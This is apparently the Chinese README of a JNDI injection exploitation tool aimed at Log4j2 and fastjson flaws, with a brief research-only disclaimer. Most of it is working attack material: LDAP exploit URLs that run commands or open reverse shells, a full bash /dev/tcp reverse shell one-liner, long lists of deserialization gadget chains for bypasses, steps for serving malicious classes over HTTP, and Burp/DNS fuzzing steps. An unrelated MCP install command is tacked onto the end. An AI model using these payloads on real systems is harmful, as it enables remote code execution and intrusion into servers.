用于 JNDI注入 利用的工具,参考/引用了 Rogue JNDI /JNDIExploit项目的代码。
本工具仅适用于安全研究,严禁适用本工具发起网络黑客攻击,造成法律后果,请使用者自负。
Usage: java -jar JNDIInject-1.0-SNAPSHOT.jar [options]
Options:
-i, --ip Local ip address (default: 0.0.0.0)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show ALL usage (default: false)
-f, --format Show usage format (default: false)
-L, --list Show Payload List (default: false)
-h, --help Show this help
使用java -jar JNDIInject.jar -u查看全部完整的支持的 LDAP 格式以及爆破的字典
java -jar JNDIInject.jar -u
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://0.0.0.0:1389/basic/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/basic/Command/base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/basic/ReverseShell/[ip]/[port] ---windows NOT supported
[+] ByPass Queries: ldap://0.0.0.0:1389/bypass/[PayloadType]/[Type]/[Params], e.g.
ldap://0.0.0.0:1389/bypass/EL/[cmd]
ldap://0.0.0.0:1389/bypass/EL/base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/bypass/EL/reverseshell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/bypass/EL/reverseshell2/[ip]/[port] ---windows NOT supported
----------------------------------------------------------------------------------------->
[-] ByPass/Fuzz2 Payload that can be used:
CommonsBeanutils1
CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
CommonsCollectionsK1
CommonsCollectionsK2
CommonsCollectionsK3
CommonsCollectionsK4
C3P0
C3P0Tomcat
groovyBytomcat
Clojure
BeanShell1
JSON1
Spring1
Spring2
Hibernate1
Myfaces1
MozillaRhino1
rome
groovy1
EL
snakeyaml
XStream
mvel
BeanShell2
tomcat_dbcp1_RCE
tomcat_dbcp2_RCE
commons_dbcp1_RCE
commons_dbcp2_RCE
druidjdbc
tomcatjdbc
Vaadin1
[+] Fuzz Queries: ldap://0.0.0.0:1389/fuzz/[GadgetType]/[domain], e.g.
ldap://0.0.0.0:1389/fuzz/EL/[domain]
----------------------------------------------------------------------------------------->
[-] Fuzz Payload that can be used:
EL
BeanShell2
groovyBytomcat
h2Driver
tomcat_dbcp1_RCE
commons_dbcp2_RCE
commons_dbcp1_RCE
druidjdbc
tomcatjdbc
snakeyaml
XStream
mvel
CommonsBeanutils1
CommonsCollectionsK1
CommonsCollectionsK2
Clojure
Groovy
C3P0
JSON1
FileUpload1
hibernate
MozillaRhino1
Rome
[+] Fuzz2 Queries: ldap://0.0.0.0:1389/fuzz2/[GadgetType]/[domain], e.g.
ldap://0.0.0.0:1389/fuzz2/EL/[domain]
使用java -jar JNDIInject.jar -f查看全部 LDAP 的格式
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://127.0.0.1:1389/basic/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/basic/Command/base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/basic/ReverseShell/[ip]/[port] ---windows NOT supported
[+] ByPass Queries: ldap://127.0.0.1:1389/bypass/[PayloadType]/[Type]/[Params], e.g.
Example:ldap://127.0.0.1:1389/bypass/EL/[cmd]
Example:ldap://127.0.0.1:1389/bypass/EL/base64/[base64_encoded_cmd]
Example:ldap://127.0.0.1:1389/bypass/EL/reverseshell/[ip]/[port] ---windows NOT supported
Example:ldap://127.0.0.1:1389/bypass/EL/reverseshell2/[ip]/[port] ---windows NOT supported
[+] Fuzz Queries: ldap://127.0.0.1:1389/fuzz/[GadgetType]/[domain], e.g.
Example:ldap://127.0.0.1:1389/fuzz/EL/[domain]
[+] Fuzz2 Queries: ldap://127.0.0.1:1389/fuzz2/[GadgetType]/[domain], e.g.
Example:ldap://127.0.0.1:1389/fuzz2/EL/[domain]
使用java -jar JNDIInject.jar -L查看各个模块可以使用的利用类
----------------------------------------------------------------------------------------->
[-] ByPass/Fuzz2 Payload that can be used:
CommonsBeanutils1
CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
CommonsCollectionsK1
CommonsCollectionsK2
CommonsCollectionsK3
CommonsCollectionsK4
C3P0
C3P0Tomcat
groovyBytomcat
Clojure
BeanShell1
JSON1
Spring1
Spring2
Hibernate1
Myfaces1
MozillaRhino1
rome
groovy1
EL
snakeyaml
XStream
mvel
BeanShell2
tomcat_dbcp1_RCE
tomcat_dbcp2_RCE
commons_dbcp1_RCE
commons_dbcp2_RCE
druidjdbc
tomcatjdbc
Vaadin1
CommonBeanutilsNoCC
----------------------------------------------------------------------------------------->
[-] Fuzz Payload that can be used:
EL
BeanShell2
groovyBytomcat
h2Driver
tomcat_dbcp1_RCE
commons_dbcp2_RCE
commons_dbcp1_RCE
druidjdbc
tomcatjdbc
snakeyaml
XStream
mvel
CommonsBeanutils1
CommonsCollectionsK1
CommonsCollectionsK2
Clojure
Groovy
C3P0
JSON1
FileUpload1
hibernate
MozillaRhino1
Rome
说明:由于可利用的链较多,各个利用链都有需要的依赖包,所以设计使用比较笨的方法进行fuzz,尽可能判断出可以利用的利用链。
本模块利用tomcat中的org.apache.naming.factory.BeanFactory和JDK自带的MLET类进行fuzz。
缺点:
python3 -m http.server port简易http接受请求)
下列为Fuzz使用的字典。EL
BeanShell2
groovyBytomcat
h2Driver
tomcat_dbcp1_RCE
commons_dbcp2_RCE
commons_dbcp1_RCE
druidjdbc
tomcatjdbc
snakeyaml
XStream
mvel
CommonsBeanutils1
CommonsCollectionsK1
CommonsCollectionsK2
Clojure
Groovy
C3P0
JSON1
FileUpload1
hibernate
MozillaRhino1
Rome
使用步骤:

说明:直接使用已有的利用链直接生成发起dns请求的命令,搭配dns平台进行fuzz 下列为FUZZ使用字典
CommonsBeanutils1
CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
CommonsCollectionsK1
CommonsCollectionsK2
CommonsCollectionsK3
CommonsCollectionsK4
C3P0
C3P0Tomcat
groovyBytomcat
Clojure
BeanShell1
JSON1
Spring1
Spring2
Hibernate1
Myfaces1
MozillaRhino1
rome
groovy1
EL
snakeyaml
XStream
mvel
BeanShell2
tomcat_dbcp1_RCE
tomcat_dbcp2_RCE
commons_dbcp1_RCE
commons_dbcp2_RCE
druidjdbc
tomcatjdbc
Vaadin1
CommonBeanutilsNoCC

说明:低版本的java环境包括11.0.1, 8u191, 7u201, 6u211版本开始做了限制之前的利用方式。本模块使用http请求的方式,返回给受害者恶意类执行。 使用说明:
/basic/base64/[base64_encode_command]
/basic/reverseshell/ip/port
reverseshell执行的命令为:bash -c $@|bash 0 echo bash -I >& /dev/tcp/ip/port 0>&1
说明:使用两种加载本地classpath的类进行绕过的方法:
可以使用链(PayloadType):
CommonsBeanutils1
CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
CommonsCollectionsK1
CommonsCollectionsK2
CommonsCollectionsK3
CommonsCollectionsK4
C3P0
C3P0Tomcat
groovyBytomcat
Clojure
BeanShell1
JSON1
Spring1
Spring2
Hibernate1
Myfaces1
MozillaRhino1
rome
groovy1
EL
snakeyaml
XStream
mvel
BeanShell2
tomcat_dbcp1_RCE
tomcat_dbcp2_RCE
commons_dbcp1_RCE
commons_dbcp2_RCE
druidjdbc
tomcatjdbc
Vaadin1
CommonBeanutilsNoCC
可使用的利用方式
/base64
/reverseshell
/reverseshell2
/
可以进行组合执行
ldap://ip:port/bypass/mvel/open%20-a%20calculator
ldap://ip:port/bypass/mvel/base64/b3BlbiAtYSBjYWxjdWxhdG9y
ldap://ip:port/bypass/mvel/reverseshell/127.0.0.1/4444
ldap://ip:port/bypass/mvel/reverseshell2/127.0.0.1/4444
snakeyaml : command=http://127.0.0.1:8080/exp.jar 加载恶意类。可以使用提供的yaml-payload-master(需要修改代码,重新生成jar,内附使用说明)。
C3p0 :command=http://127.0.0.1:8080:Exploit(端口为默认为8080) data目录下的Exploit可以进行参考,直接修改Exploit.java的命令使用javac编译(不用另外起http服务)
发现Log4j2漏洞或者fastjson漏洞后,使用burp的intruder模块进行fuzz(简单直接)

添加Fuzz2的字典。(可以设置一下发包间隔1s)

去DNS平台查询结果

能用就行

$ claude mcp add JNDIEXP \
-- python -m otcore.mcp_server <graph>